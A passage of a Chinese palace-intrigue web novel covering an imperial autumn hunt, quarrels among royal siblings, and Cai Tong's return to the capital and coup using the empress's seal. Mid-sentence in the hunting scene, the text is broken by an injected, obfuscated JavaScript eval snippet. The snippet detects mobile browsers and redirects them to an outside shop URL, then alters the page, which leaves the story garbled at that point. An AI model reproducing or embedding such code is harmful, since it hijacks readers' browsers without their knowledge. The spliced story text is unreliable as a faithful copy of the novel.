步兵退下,骑兵登场,扬起着的黄沙尘土,漫天飞扬,哒哒哒哒的马蹄声伴着叮当作响的马铃,撼动着高台。 承道帝看着高台之下的士兵,面上露出难得的欣慰之色,强盛大江,扬大江之国威,他做到了。 兄长,你的在天之灵,想必也看到了,我不负你临终所托。 军事演练结束,在离高台五十步的距离,将士们推出一个高靶。 吴善辅高高捧起御用的长弓,垂头跪在承道帝脚边。 承道帝接过长弓,取来金箭,瞄准着高靶的准心,挽弓搭箭。一个呼吸之后,金箭离弦,穿透了高靶的正中心。 秋狝开始。 皇室宗亲们都已上马,等着承道帝发号施令。 此时,一只雄鹿从林中深处跑出来。 刘安盈盈一笑,递上金箭:“恭请父皇,挽弓猎百兽,扬威震十州。” “好!”承道帝取过金箭,收紧缰绳,扬起马鞭,一骑绝尘。 众人们纷纷加速跟上,紧随其后。 承道帝在颠簸的马背上拉弓搭箭,瞄准了雄鹿。 此时,刘安也承道帝身后在不远处搭箭瞄准。 二人相继射出各自的箭矢。一只箭矢擦过鹿角,空了;另一只箭矢则射中了雄鹿,雄鹿挣扎几下后倒下。 侍从们取出雄鹿身上的箭矢,是支金箭,高喊道:“陛下中!” “父皇威武!”刘安带头喊道。 余下众人也纷纷附和:“陛下威武!陛下威武!” 承道帝满意地点点头,爽朗大笑几声:“哈哈哈哈哈哈——” “秋猎五日,凡狩得猎物最多者,赏!” 一声令下,众人四散开来,纷纷朝着山林之中骑去。 待众人散去,侍从们忙去取回射空的那支箭矢,也是支金箭。 自太子薨逝之后,承道帝能明显地感觉到身体每况愈下。可储君还需要培养,承道帝不敢放开手,再加上政务繁忙,身体已大不如从前强健。只不过是挽了两次强弓,便有些力不从心了,因而只得进帐歇息。 刘安时刻关注着承道帝的状况,忙勒马止住,扶着承道帝回帐中。 承道帝笑道:“你玩儿去吧,朕一个人去歇歇便好。” 刘安摇头笑道:“父皇的龙体最要紧。” 刘安继续说道:“元弟还一个人在帐中呢,想来他也闷得慌。” 承道帝笑着点点头,当即命人将刘元找来,三人说说笑笑,一副祥和的气氛,又在帐内温了些酒,等着众人凯旋归来。 此时猎场上的刘宁,紧紧盯着刘昶的身影,见他朝不远处的小丘去了,忙不迭拜别一众小姐妹,去追刘昶了。 刘昶察觉到刘宁就在他身后,速度更快了。 刘宁本就与刘昶有些距离,现在刘昶提速,又是崎岖曲折的小路,刘宁更是难追上。不过幸好她骑得是嫂嫂还朝送纯种汗血宝马,这点距离应该不在话下。 刘宁高喊一声:“七弟!” 刘昶不理会,只是一味地提速。 刘宁见状,也是发了狠,一鞭子狠狠地抽在马上,马儿吃痛,癫狂前行。不多时,便已追上刘昶。 刘宁与刘昶并肩而行,问道:“你躲什么?” 而后又打趣道:“莫不是做了什么亏心事,不敢见五姐我吗?” 刘昶冷脸,当即调转马头。 刘宁一个不备,被疾行的汗血宝马甩了下来,因缰绳还在手上缠着,马儿将她拖了段距离,头上的簪子也散了几支。慌乱之中,刘宁只得解下手中的缰绳,但她又可惜这么匹好马,还是在找机会,企图再征服这匹马。 刘昶见此情形,担忧不已,也顾不上心里的别扭与隔阂,快马加鞭地追上刘宁的马,待到并肩时,飞身跃马,换骑到了刘宁的马上。 “别怕!”刘昶俯身拽住刘宁的手腕,用力将刘宁带了上来,逐渐安抚马儿逐渐减速,直至马儿稳定,这才慢慢停下。 刘昶怒斥道:“你是第一天骑马吗?不知道马儿发狂之后会有生命危险吗?非要骑这么烈的马,你不要命了?” 刘宁揉着被缰绳勒红的手腕,虽然身上阵阵疼痛传来,可依旧嘴硬:“我当然知道怎么驯服烈马,不劳七殿下费心。” 紧接着,刘宁问出了心中的疑惑:“你呢?你怎么回事?这几天一直在避着我和哥哥,你又在耍什么牛脾气?” 刘昶在气头上,冷哼了一声,当即坐在草地上,不再理会刘宁。 刘宁步步紧逼,问道:“可是为了太子的事?真相不是已经查明了?此事与哥哥无关。” 刘昶冷笑一声:“太子薨逝,既得利益者谁?又是谁会为了这个位置大费周章?宁乐公主不会看不明白吧?” 刘宁有些心虚,确实,她与哥哥刘茂是动过心思,也实施过手段,可巫蛊这事确实与他们无关啊!但听刘昶这么问她,一时也来了脾气,怎么,难道就许太子党的人欺负她们,就不许她们反击吗? “明白又怎样,不明白又如何?难道只许太子的党羽算计,就不许旁人算计了吗?旁人反击就是错了吗?” “储君的位置本就应该是哥哥的!” 刘昶气极:“哼,即便是反击,也不该使出陷害手足的阴毒手段!” “巫蛊诅咒,下毒暗害,阴险歹毒,这便是你们所谓的反击?” 刘宁见刘昶把近些天发生的事都算在他们头上,脾气更炸了:“我知道你是太子党的人,可也别什么脏水都往我们身上泼,别什么屎盆子都往我们身上扣!” “父皇已经查明,巫蛊、毒杀都是刘仲所为,与哥哥又有何干?你为何又执意要将太子薨逝一事和哥哥牵连在一起?” “难道非要哥哥一辈子待在胡人那里回不来你们才满意吗?这便是你口中的手足之情吗?”刘宁一想到刘茂在大胡可能会遭受的非人待遇,便气得浑身发抖。 刘昶见刘宁仍还在狡辩,恨不得将刘茂与刘仲暗中勾结的书信甩到她脸上,只可惜不曾带来。“待一辈子?呵呵,秦王殿下早便与刘仲勾结在一起,胡人军队压境便是他们谋划的,质子回京也是他们密谋的,我可曾冤了他?” “若哥哥真有本事能号令得了胡人的军队,又怎会在那边受尽屈辱?” “若胡人军队能听从哥哥发号施令,凭着哥哥对颖州蔡氏的恨,当日蔡桐又岂会全须全尾地回来呢?” 刘昶被刘宁问懵了,一时怔住,五姐说得在理,可太子截获的书信也不曾有假啊!还有大哥哥英王那里也刚刚截获了一封书信啊! “哼!”刘宁恶狠狠地哼了一声,当即上马朝着营帐赶去。 待方才的怒气渐渐消散,身上的疼痛渐渐袭来,刘宁这才感觉到痛,忍住不倒吸了口凉气,不知是不是手腕扭伤了,刚刚撑着马鞍的时候,明显感觉到手腕有些疼痛。 刘昶担心刘宁的伤势,忙跟在其后。 “这是怎么弄的?”刘安见刘宁外衫有几处破损,还灰头土脸的,忙起身将刘宁转了个圈仔细检查。 刘宁怕大姐姐与父皇担心多问,便收起袖子遮盖住手腕,将手腕处的红肿藏了起来,紧接着展开双臂,大大方方地让刘安检查。 刘安见刘宁并没什么外伤,这才松了口气,放下心来。 “方才还听人说林子里有头两人高的熊呢,连射了几箭都没能将那熊射杀,反而还差点葬送到熊口。” 刘安关切问道:“可是遇到熊了?” 刘宁和刘昶大吵了一架,一箭未发,一只猎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274249|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物未中,正愁找不到借口搪塞呢,见有个现成的理由递到嘴边,忙接道:“可不是!好大一只黑熊,站起身就朝着我扑了过来。幸而我有嫂嫂给的汗血宝马,马儿一路狂奔,将我带出了山林,那只熊追都追不上呢!”边说,边动作夸张地演示。 旁人听闻此说,也是有些纳闷,他们明明看到的是只棕色的熊,怎么变成黑熊了? 难道山林里竟有两只熊?一时间竟都有些后怕,幸亏他们跑得快,要不然被两只熊前后夹击,哪里还有生还的可能! 刘安转头问向刘昶:“七弟,你遇到熊了吗?” 刘昶迟疑了一下,看到刘宁朝他使眼色,这才道:“远远地看见了。” 刘安笑道:“我还以为你们二人能合力猎杀了那头熊呢!” 承道帝笑道:“哈哈哈哈,朕还想看看你们两个的本事呢,没想到秋猎第一日便都空手而归了。” 刘宁笑道:“父皇,本想猎得那熊皮给父皇做一件大氅,不想空了手。不过儿臣这边还有一宝物要献给父皇,还请父皇移步帐外。” 承道帝跟着刘宁,出了营帐,只见五匹纯种的汗血宝马赫然站在面前。 马儿一出场,便立刻吸引了所有人的目光。 膘肥体壮,毛色鲜亮,犹如身披绸缎一般,在夕阳的照射下,汗血宝马身上散发着粼粼的光。 因秦王夫妇没来参加秋猎,秦王妃还朝公主便将陪嫁的几匹汗血宝马带了过来,为秋猎助兴。 刘安看到毛色鲜亮的马儿,情不自禁地走上前想要抚摸一下马儿,还不待她靠近,马儿惊鸣一声,着实把刘安吓了一跳。 幸而刘宁制住了这匹马。 待回过神来,刘安松了口气,笑道:“好烈的马啊!” 承道帝和蔼笑道:“这么烈的马,先让御马师训练得温顺些吧。” 刘宁恣意道:“何须用得着御马师?”说罢,牵起马绳,一跃而上。 岂料马儿受惊,前蹄高抬,刘宁不设防,失去了平衡,从马背上翻落。旁观众人惊呼不已。 眼看着马蹄子就要落在身上,刘宁用力往回拉住缰绳,借着马儿抵抗的力道立了起来,而后一个背身上马,坐在马鞍之上。 马儿还想反抗,左右颠簸抖动,几次险些把刘宁震下去,幸好刘宁死死抓着缰绳,要不然非得被马踩伤不可。 马儿在刘宁的操纵下,在围场上肆意奔跑,两圈下来,马儿温顺了不少。 待驯服了马儿,刘宁跃马而下,意气风发地朝承道帝走去。 承道帝丝毫不吝啬对刘宁的夸赞,满眼骄傲地看着刘宁,赞扬道:”阿宁的骑术真是了得。” 刘宁得意洋洋地看向众人,众人皆夸赞宁乐公主骑术高超。 刘宁完全沉浸在众人的夸赞中,全然忘了手腕上的伤痛。 待她回到自己的营帐,手腕已经红肿不堪,甚至连手指轻微的动弹一下都会觉得疼痛万分。 “殿下也太不爱惜自己了。”刘宁的近侍一边心疼地数落着,一边轻轻为刘宁上药。 刘宁倒吸一口凉气:“嘶,轻点轻点。” 余光瞥到刘昶来了,刘宁看都不看刘昶一眼,专心盯着上药的手腕。 刘昶也不多言语,将手中活血化瘀的药膏丢给刘宁,转身就走。 刘宁并不领情,不顾手上的伤痛,拾起药膏,狠狠砸在砸在刘昶背上。 刘昶停住脚步,愣了片刻,随后便头也不回地走了。 入夜,刘宁的手腕更加红肿了,疼得她睡不好觉。她现在有些后悔,后悔方才在父皇面前逞能了。 忽而想起方才赌气丢的药膏,趁着这会夜深人静,便派近侍悄悄取了来。 一直在暗中关注的刘昶近侍见状,忙回去向刘昶禀报。 刘昶早就料到,因此又拿出一盒去疤的药膏,交代道:“把这一盒药膏送到宁乐公主营帐中。” 近侍刚走几步,就被刘昶叫住:“回来,别说是我送的。” 53. 秋猎祭祀(三)蔡桐回京 听到近侍进帐的脚步声,七皇子刘昶头也不抬,看似随意问道:“怎么这么快就回来了?公主可有说什么?” 近侍毕恭毕敬地弓腰回道:“公主睡下了,我把药膏交给了公主身边的内官。” 刘昶“嗯”了一声,便不再说话,自顾自看着手上的文书。 近侍见刘昶这么晚了还在灯下看着奏折,走到近旁,剪了下灯花,将蜡烛挑亮了些,而后关切道:“殿下,时候不早了,早些休息吧,别把眼睛熬坏了。” 边收拾桌上摊开的文书,边柔声道:“这些东西明天再看吧。” 刘昶捏了捏酸涩的眉心,强撑着精神道:“支援栾南的军队即将回京,此事事关重大,而父皇同我们不在京中,可千万不能出半点差错。” “我去同大哥哥和大姐姐商量过后再休息吧。” 说罢,便起身朝营帐外走去,岂料刚走几步,便顿觉一阵晕眩,踉跄几步。 “殿下!”近侍忙上前搀扶,苦口婆心劝道:“方才我从英王殿下和长公主帐前过,他们都已经熄灯休息了。” 近侍见劝不动刘昶,便搬出英王和长公主的名头,嗔怪道:“即便是殿下不爱惜自己的身子,也得想想英王殿下吧,前几日还听长公主殿下说呢,近来英王殿下身子才好了些,若是如今再起夜劳累,只怕……” 一想到大哥哥,刘昶便叹道:“罢了,离天亮左不过就几个时辰了,不急于这一时。” 天色蒙蒙亮,太阳撕开暗夜的一角,又从那撕开的一角中缓缓升起。 蔡桐骑在马上,望着红亮的日出,一路东行回京,嘴里不住地喃喃道:“旭日东升,旗开得胜,好兆头。” 总算是回到京中了。 这一仗打下来,也算是有点功绩了,回京之后,太子殿下再多多为我求求情,陛下看在太子与姑姑的面子上,就会再封我为世子的。 如此想着,蔡桐心情大好,不觉马鞭挥舞地更快了。 金中堂时刻注意着蔡桐的神色,将他的情绪变化悄悄记下。 想来蔡桐此次前去栾南,消息闭塞,以至于太子自戕还有皇后被监禁的消息尚未传入他的耳中。 现下陛下与长公主都不在京中,需得处处防备蔡桐,以免生出变故。 蔡桐身边的近侍又察觉到金中堂时时刻刻的监视,将此事报与蔡桐:“将军你瞧,又记下了。” 蔡桐不屑一顾,高声道:“不过是永安的一条狗罢了,勿须在意。” “待我回了京,我倒要看看这种秋后蹦跶的草虫,他还能蹦跶几日。” 虽未点明是金中堂,但话里话外的意思,除了他金中堂,还能有谁? 金中堂虽有气,可眼下还有长公主交代的要事在身,不得不咽下这口恶气,不与蔡桐争辩,只快马加鞭越过蔡桐 蔡桐说得对,秋后的草虫还能蹦跶几日?只是这草虫会是谁,还未可知。 蔡桐望向金中堂的背影,冷笑一声,待我回京之后,太子殿下复了我的世子之位,你交了兵权,我倒要看看你还怎么嚣张。即便是她永安来了,也救不了你。 一条走狗而已,得意什么! 才刚入京中,蔡桐便看到京中街道多有挂着白幡,街上百姓大多也都着素服,脸上又多有戚戚之色,不免有些疑惑:“怎么家家户户都挂着白幡?莫非国丧?可若是国丧,天下皆知,即便是我远在栾南,也不会至今未收到消息啊。” 不觉又一阵好笑:“怎么这么巧,莫非家家户户都死了人不成?” 便随手抓来一人便问道:“这是怎么回事?京中可是发生了什么大事?” 那百姓听到蔡桐这么问,眼珠上下打量一番,怎么会有人不知道这是太子丧期?便没好气答道:“太子薨逝,全国举丧。怎么?你不知道?” 蔡桐不可置信地重复一遍:“太子薨逝?” “你说什么?”蔡桐暴怒,将那人身上穿着的素服扒下来,雨点般密集地拳头砸在那人身上:“你竟敢言语诅咒太子!” 那人被打个半死,一脸惊恐地看着蔡桐,手指哆哆嗦嗦地指着他:“疯子!疯子!” “你再敢胡言乱语,我必将你舌头割下!” 蔡桐还是不解气,转头盯上沿街挂着的白幡,发疯一般地冲过去,将一条条白幡撕碎扯烂,歇斯底里道:“你们这些人,竟敢诅咒太子!你们好大的胆子!” “是谁让你们这么做的?是谁!” 明明他出京前,太子还好好的呢,太子还写信教训他呢,怎么可能会薨逝! 挂白幡!着素服! 这群庶民,枉顾太子平日里这么的呵护他们,竟这么挂起白幡咒他! “这人是谁啊?怎么把我们祭奠太子的白幡都给撕坏了?” “不知道,许是个疯子吧。” “他凭什么这么做?他以为他是谁?就这么肆意践踏我们对太子殿下的心意吗?” 百姓们想起那个仁孝的太子,不觉气血上涌,心中愤愤不平。 皇帝老儿无情无义,冤枉太子,至今还对太子拟定谥字追封。京中百姓看不过,便自发地为太子举丧,家家户户挂起白幡,街上人人身着素袍。 不想太子薨逝不足月余,便遇到如此嚣张狂妄之辈,将百姓们的祭奠之心全数尽毁,便都自发地抄起家伙,有挑水挑柴用的扁担,有擀面用的面杖,有炒菜用的大勺,步步紧逼,将蔡桐围在其中。 若不是京城的守卫及晋国公府的府兵来的及时,喝退众人,只怕蔡桐少不了一顿打,百姓的拳头不大,但架不住数量多,砸下去也能要个半条命。 蔡桐眼眶通红,弓着身子,用力扣住一府兵的肩膀,问道:“你说,太子殿下如今如何?” 府兵被蔡桐的样子吓到,结结巴巴回道:“太……太子……殿下……下……薨逝……” “你胡说!”蔡桐夺过马鞭,狠狠抽在府兵身上,怒声训斥道:“你身为晋国公府的府兵,颖州蔡氏的家奴,怎么敢这么诅咒太子!” 一个两个,都在胡说!都在胡说! 蔡桐不信,抢过一匹马,扬鞭挥斥,朝着东宫的方向赶去,他不信那些人说得,他要亲眼见到太子殿下。 若太子殿下见到他这样蛮力不讲理,只怕又少不了一顿训斥吧。 想到这儿,在距东宫一条街前,蔡桐勒马止住,抚平凌乱不堪的头发,正了正衣冠,而后才 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昔日那个笑得和善,看着总是一副没出息样子的晋国公,此时已身形如同枯槁,眼窝深陷,双手高高举起,似乎是在摸索着什么,一副将死之相。 “国公爷,你睁开眼睛看看,桐儿回来了!” “桐儿回来了。” 晋国公夫人挣脱下人的搀扶,扑在晋国公身上。 蔡桐的妹妹蔡岑为父亲擦去嘴角的流出的药水,而后又擦了擦挂在脸上的泪水,为哥哥蔡桐腾出空间。 蔡桐扑通一声跪在地上,双膝交替前行,爬到晋国公床边,摸起晋国公的手,放在自己脸上,痛哭道:“父亲,我是蔡桐啊,我是蔡桐啊!” “我回来了。你看看我啊!” 他不在的这几个月到底发生了什么?怎么太子薨逝,就连父亲也…… 弥留之际,在蔡桐声声的呼唤之中,晋国公缓缓睁开半闭着的双眼,艰难转头看向蔡桐,只有出气没有进气连连道:“好……好……好……” “什么?”蔡桐看到父亲嘴唇蠕动,忙将耳朵凑近听去,但并未听清父亲说了什么。 自太子薨逝的消息传出来,晋国公便病倒了,八月底那几日,皇帝发疯一般的屠戮,颖州蔡氏许多族人都被牵扯进去,他身为蔡氏一族的族长,却无力回天,只能眼睁睁地看着族人一个个的被俘,一个个的入狱,一个个问斩。 晋国公强撑了几天,最终病倒了,如今本就是强弩之末了,又强行靠着这一口口的参汤吊着这一口气,就为等着蔡桐回来。 如今蔡桐已经回京,心愿已了,只看过一眼之后,便撒手人寰了。 “父亲!” “国公爷!” 在母亲与妹妹的一声声痛哭之中,蔡桐缓缓抬起头,目眦欲裂,胸腔也随着母亲与妹妹的哭声而一抽一抽的。 如今,颖州蔡氏一族的担子压在了他的肩上,晋国公府的也担在了他的肩上。 离京的这数月间,到底发生了什么? 怎么太子与父亲都不在了? 54. 秋猎祭祀(四)传谕封城 晋国公府又挂起一重白幡。 蔡桐问过妹妹蔡岑之后,方才得知这几个月发生的事,太子被诬陷入狱,狱中自裁,皇后被监禁,后宫诸事交由贵妃全权处理,与太子、二皇子有过往来的官员皆被屠戮殆尽。 竟然发生了这么多事。 “那姑姑呢?姑姑现在可好?” 蔡桐想到那个将他当做亲儿子疼爱的姑姑,不免十分心疼。 姑姑只太子一个儿子,太子薨逝,姑姑后半生没了倚仗,也不知现在怎么样了。 如今姑姑的兄长又去世了,若是她知道,只怕眼睛都会哭瞎了吧。 蔡岑无奈地摇摇头:“自先前姑姑被禁足于长秋宫起,陛下便不曾解了姑姑的禁足。” “我虽想进宫去见见姑姑,可每每快到长秋宫时,便被宫中的禁卫拦下,不得靠近半步。” 蔡岑嘴张了张,还欲将姑姑突发癔症的事情告与蔡桐知晓,想到蔡桐刚回京不久便接连闻知噩耗,怕他承受不住,便咽了声,摇头不语。 蔡桐咬紧牙关,双手被他用力团成拳头,紧紧盯着身上穿的孝服,呼吸急促,久久不语。 “哥哥?”蔡岑察觉到蔡桐有些异样,双手攀上蔡桐的胳膊,忙轻声唤道,如今朝中、家中变故频发,哥哥好容易回来,可千万不能再生变故了。 蔡桐双眼失神,甩开蔡岑,甩开接连来搀扶他的仆从,踉踉跄跄地回了房。 眼看太阳落下,月亮升起,蔡桐不吃不喝一动不动地躺在床上。 他不信太子会行巫蛊之术诅咒皇帝,他也不信太子会自戕。 他对现如今发生的这些事充满疑虑,可父亲离世,身边没了可探讨的人,一时也不知该如何是好。 他想为太子平反,可朝中族人多被牵连,一时竟没有可用之人。 姑姑……蔡桐想到被监禁在长秋宫的皇后,眼前一亮,对啊,皇后还在,她一定知道些什么。 蔡桐打定主意,便要趁着夜色偷偷溜进宫去,去宫里找皇后问个清楚。 蔡桐如同鬼魅般从黑夜之中起身。 蔡桐计算着宫中守卫轮班的时间,趁着侍卫轮班属于防守之间,翻越宫墙,来到皇后的长秋宫。 禁卫疏于职守,长秋宫的守卫并不森严。 忽而一道黑影闪过,皇后坐在长秋宫的正殿处,猛然抬头,喝斥一声:“谁?” 蔡桐从一旁的柱子后的暗处走出来,站在正殿之中,月光之下。 皇后看清来人的身影,只以为是许久未见的太子,思子心切,踉跄起身走了两步,未曾注意到脚下的台阶,蓦地一脚踩空,从台阶上跌落,翻滚数圈之后,爬起身,伸手想触摸那道黑影,朝着那身影痛心喊道:“牧儿!” “我的牧儿,你回来了。” 蔡桐心疼不已,忙上前扶起皇后,心疼道:“姑姑,是我啊,我是桐儿,我是蔡桐啊。” “我是自小养在你身边的蔡桐啊!” 蔡桐轻轻拂去皇后脸上那几缕在月光之下闪着银光的白发,看到面容沧桑、精神恍惚、疯癫不堪的皇后,指尖抖个不停。 昔日姑姑是最在乎她的容态的,怎么今日竟成了这个样子?怎么竟成了这么个人不人鬼不鬼的样子? “桐儿?” 皇后双眼失焦地挪向蔡桐的脸,不住地在他脸上来回摸索着,不可置信道:“桐儿?” “桐儿,是你,你回来了,你回来了!” 皇后双手捧起蔡桐的脸,伏在蔡桐怀里失声痛哭:“桐儿,这些日子你去哪里了?怎么现在才来看我啊?” “姑姑,我回来了,不怕不怕。”蔡桐压抑着自己颤抖的声音,轻轻安抚着皇后,就像小时候皇后安抚他一样,问道:“这几个月都发生了什么?” 皇后疯癫起身,指着云清宫的方向道:“是贵妃!是秦王!” 皇后踉跄走出几步,吼道:“是他们为了谋夺皇位,诬陷太子!”说完,又缓缓蹲下,双手交叉,慢慢抱紧自己,低声啜泣。 蔡桐复问了一遍:“贵妃?秦王?” 听到这几个字,皇后更是疯癫,瞪大了眼睛:“是,是他们!” “那二皇子呢?我听说陛下还屠戮了他门下的一众人等。” 皇后听后,冷笑一声:“刘仲?那不过是一只替罪羔羊。” 皇后恨得咬牙切齿:“可恨太子如今在九泉之下,那些个害他的人却在外面逍遥快活。” 皇后心中不忿,抓乱自己的头发,忽而回头看到站在殿中的蔡桐,匍匐跪在蔡桐面前,拽着蔡桐的衣角高声喊冤:“陛下啊,你明辨是非,怎么不会睁眼看看呢?” “牧儿怎么会做出巫蛊之事诅咒你呢?” “他可是你的亲儿子,亲儿子啊!” “姑姑!” 蔡桐满眼都是心疼,蹲下身来,将皇后揽入怀中抱紧,心中有止不住的怨恨。贵妃,秦王,一个也别想好过。蔡桐暗自捏紧了拳头。 “桐儿,救出太子,救出太子。” “秦王回京,就是为了夺回太子之位,不,我不能让他得逞,不能让他得逞。” 皇后狡黠一笑,掏出藏在身上的皇后印玺,现于蔡桐眼前:“皇后印玺,可调动宫中的羽林军。” “这是……”蔡桐低头看向印玺,又抬头对上皇后的眼睛,眼神之中满是不可置信。 姑姑这是要…… 皇后抬起蔡桐的手,将皇后印玺郑重地放在他手中,将他的手指一根根闭合紧紧包裹住印玺,抬眼直直地盯着蔡桐的眼睛,一字一顿道:“奸佞当道误国,诬陷太子,以此印玺,还有我们颖州蔡氏一族,全力扶持太子登基!” “姑姑……”蔡桐方想将父亲过世的消息告诉姑姑,但看姑姑现在这神志不清的样子只怕说了会加重她的病情,便止住了到嘴边的话,只得先应承下来:“好,我听姑姑的。” 皇后欣慰道:“好孩子。” 蔡桐拿着皇后的印玺回府后,久久不能平静。 皇后说的不过是疯言疯语,难道还真要听信吗?难道真的要举兵造反吗? 蔡桐紧紧握着印玺,心中迟迟做不出决定,但一想到短短数月,太子薨逝,皇后疯癫,父亲亡故,这一桩桩一件件如何能咽得下气?颖州蔡氏多年经营在一夕之间化作了乌有,难道蔡氏一族竟要亡故在自己手上吗? 不如殊死一搏。 对啊,皇帝此时远在京郊外的万安山,京中仅留有驻城军,倒是个好时机。而驻城军又多是太子旧部,若以太子的名义号召,想来他们必会响应。 蔡桐打定主意, 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“父皇!”刘安闻言,急得站起身,一脸担忧地看向承道帝。 千防万防,怕的就是蔡桐回京后意图不轨,故而近来京中发生的事都未曾传到栾南,却不想他一回京便瞒不住了。 如今颖州蔡氏接连受挫,他们所倚仗的太子、皇后,薨逝的薨逝,疯癫的疯癫,甚至晋国公也才病逝,赶狗入穷巷,必遭反噬,怎能不怕? 承道帝听后一怔,并不似刘安反应的这般恐惧,镇定自若地批着手上的奏折,待写完“朕安”二字合上手上的奏折之后,当即冷笑一声:“他倒是有些血性,比他那个父亲强了不少,像是颖州蔡氏的儿郎,和他祖父一个模子刻出来的。” 老晋国公有胆量,有魄力,连他这个皇帝都敢算计,一手遮天无人能及,只可惜后辈不争气,晋国公却没他父亲那样的能耐与本事,只不过是这几日同僚的死讯听得多了些,便被吓得起不来床,倒是这个儿子蔡桐,颇有当年老晋国公的风范。 刘安一脸疑虑地看向承道帝,蔡桐的祖父,前任晋国公,当年驻守边防失利,未曾守住北境防线,胡人因此一举南下,不过数日便攻至京城,父皇南下出逃,视之为辱,怎的今日…… 转眼间,承道帝换了副神态,整张脸阴沉着,眼睛埋在眉骨垂下的阴影之中,看不清眼中的情绪,只听到冷冷一声:“传令下去,不必让他太顺,但也不要过多阻挠他,让他放手去做。” 太子薨逝,皇后疯癫,颖州蔡氏作为太子的外戚,不好一家独大,否则新帝登基,便有数不尽的麻烦。 造反谋逆,要诛九族。承道帝此时正愁不能没个合适的理由将颖州蔡氏一网打尽呢。如今蔡桐上赶着将剃刀递到他手上,他怎会放过? 承道帝冷哼一声,正好,借此机会将颖州蔡氏一族消灭殆尽,也省得以后麻烦。 再者,也想看看,这蔡桐有没有老晋国公的胆量,敢不敢造反。 手中的朱笔也因沾染了几分心中的怒气,用力地倒在砚台之中,被惊扰的朱墨,犹如利刃下去四处飞溅的鲜血,看着甚是触目惊心。 “朕倒要看看,他能成个什么样。” 55. 秋猎祭祀(五)多番谋划 蔡桐刚召集完府兵,出发之际,便看到妹妹蔡岑挑着灯,站在必经之路的暗处,静静地看着他。 兄妹二人对视一眼,均未开口。 时间紧迫,容不得半点浪费。蔡桐硬着头皮,走过这条必经之路,见蔡岑挡在他身前,他亮出出鞘半寸的长剑做威胁。 蔡岑并不怕,眼神直勾勾地落在前方的一片光亮处,幽幽开口道:“兄长,开弓没有回头箭。” 蔡桐并不理会,一把推开蔡岑。 蔡岑还想再劝说几句,待转身回头之时,蔡桐早已走了数步之远。 “兄长!” 蔡桐驻足片刻,并未言语,扭头余光瞥了蔡岑一眼,一眼过后,继续他的路。 才封禁了京城,时间紧急,还有许多事情要去筹谋,容不得他在这里儿女情长。 眼下便有一事不得不快点去做——羁押金中堂。金中堂是永安长公主的一只眼,若他不除,只怕京中的消息会外泄。待万安山反应过来,那后面就难了。 金中堂才将这几日的庶务整成奏章,传来随侍,吩咐将这份奏折传到万安山去。 随侍出门不久后,见街上戒严,街道之上满是驻城军的身影,行至城门口,又见城门紧闭,不许出入,察觉到不对劲,忙折返回来,将这异常情况报与金中堂知晓:“将军,街上在戒严,城门紧闭,听说是奉了昨夜皇后的口谕。我见情况不对,忙回来将此事报与将军。” 金中堂闻听此消息,沉思片刻,皇后不是疯了被幽禁于长秋宫吗?怎么还会传出口谕呢? 待想到蔡桐得知太子薨逝后的反应,暗叫一声不好,忙吩咐随侍:“京中似有动荡,你不论用什么法子,务必要出城去,将这则消息传到万安山上去,越快越好。” 岂料随侍还不曾出门,便与匆匆赶来的蔡桐撞了个正着。 蔡桐狞笑着进屋:“这是要去哪儿啊?” 话音刚落,剑已出鞘,一剑封喉,随侍当场毙命。 金中堂也被众多士兵围住,七手八脚地捆了起来。 待看着蔡桐身后穿着驻城军服侍的士兵,再看此时蔡桐嚣张的样子,一时明了,蔡桐这是与驻城军勾结在了一起。 只可惜他慢了一步,没将这消息传出去。 蔡桐看着这张面目可憎的脸,狠狠啐了一口,随后从金中堂身上翻找到兵符,在手中随意掂着,嗤笑一声:“得来全不费功夫啊。” 京城内有驻城军,城外又有虎符可调令才支援栾南的队伍,有军权在手,岂不万事大吉? 金中堂脸色被压得涨成了猪肝色,强行从嘴里吐出字来怒骂道:“蔡桐!你这乱臣贼子,食君俸禄竟行此谋逆之事!你无德无行!” 蔡桐听后,哈哈大笑,无德无行?当即一脚踩在金中堂脑袋上,脚上用力,来回碾着。 无德无行?难道你金中堂就行事光明磊落吗?若不是永安她从中斡旋,哪儿有你什么事?当日若不是你金中堂带着她强闯宫门,哪儿还有今天这许多事! 如是想着,不觉脚下的力道加得更甚。 一夕之间,蔡桐便毫不费力地便拿下了京城,过程之顺利到他都有些不敢相信。 控制住京城,接下来便是皇宫。 凭着皇后印玺,看护皇宫的守卫也从直属于皇帝的禁卫换成了皇后的从属羽林军。 后宫诸殿,也皆被羽林军所围住,凡有任何走动之人都会受到盘问搜查。 禁卫统领质疑道:“皇宫的安危,向来都由禁卫负责,何时要换成羽林军值守?” “烦请拿出陛下的手谕。” 蔡桐一个狰狞的眼神看过去,看了眼蓄势待发的统领及他身后的护卫,后退一步,假意离去。 后又趁禁卫统领不注意,迅速抽出佩剑,一剑将禁卫统领的脑袋砍了下来,统领那还睁着眼的头颅在地上弹跳了数下,才咕噜咕噜滚到一旁。 蔡桐身后的将士见此情形,一时士气大涨。 其他禁卫见状,面面相觑,怕会有统领一样的下场,又想到统领先前交代的不必过多阻挠,便纷纷后退臣服。 六皇子刘赞看着今日宫中的守卫有所加强,还由原来的禁卫都换成了羽林军,察觉到不对劲,忙设法传信到听音坊询问城中的情况。 听音坊收到消息,忙派人去探查,直到此时才得知,昨夜京城便封禁了城门,全城戒严。 为首的坊主忧心道:“得想方设法将这消息传递给主子。” 坊主皱着眉,一脸懊恼地拍打着自己的脑袋,虽说近来太子丧期,京中禁止演乐,主子准许她们休假,可怎么竟连该有的警惕都没了呢?这么大的事竟然现在才知道。 出去打探消息的那人咕噜咕噜接连喝了几大口水,叹气道:“别说了,现在街道上到处都是驻城军,根本不让走动,哪里还能传递得了消息呢?” “便是我刚出门,还没走过几条街呢,就被驱着赶着,不得已我才回来了。” 坊主忙问道:“怎么好端端的要封禁城门呢?陛下不是还在万安山祭祀吗,也不曾听说京中出了什么事,怎么会全城戒严呢?可问清楚是怎么回事吗?” 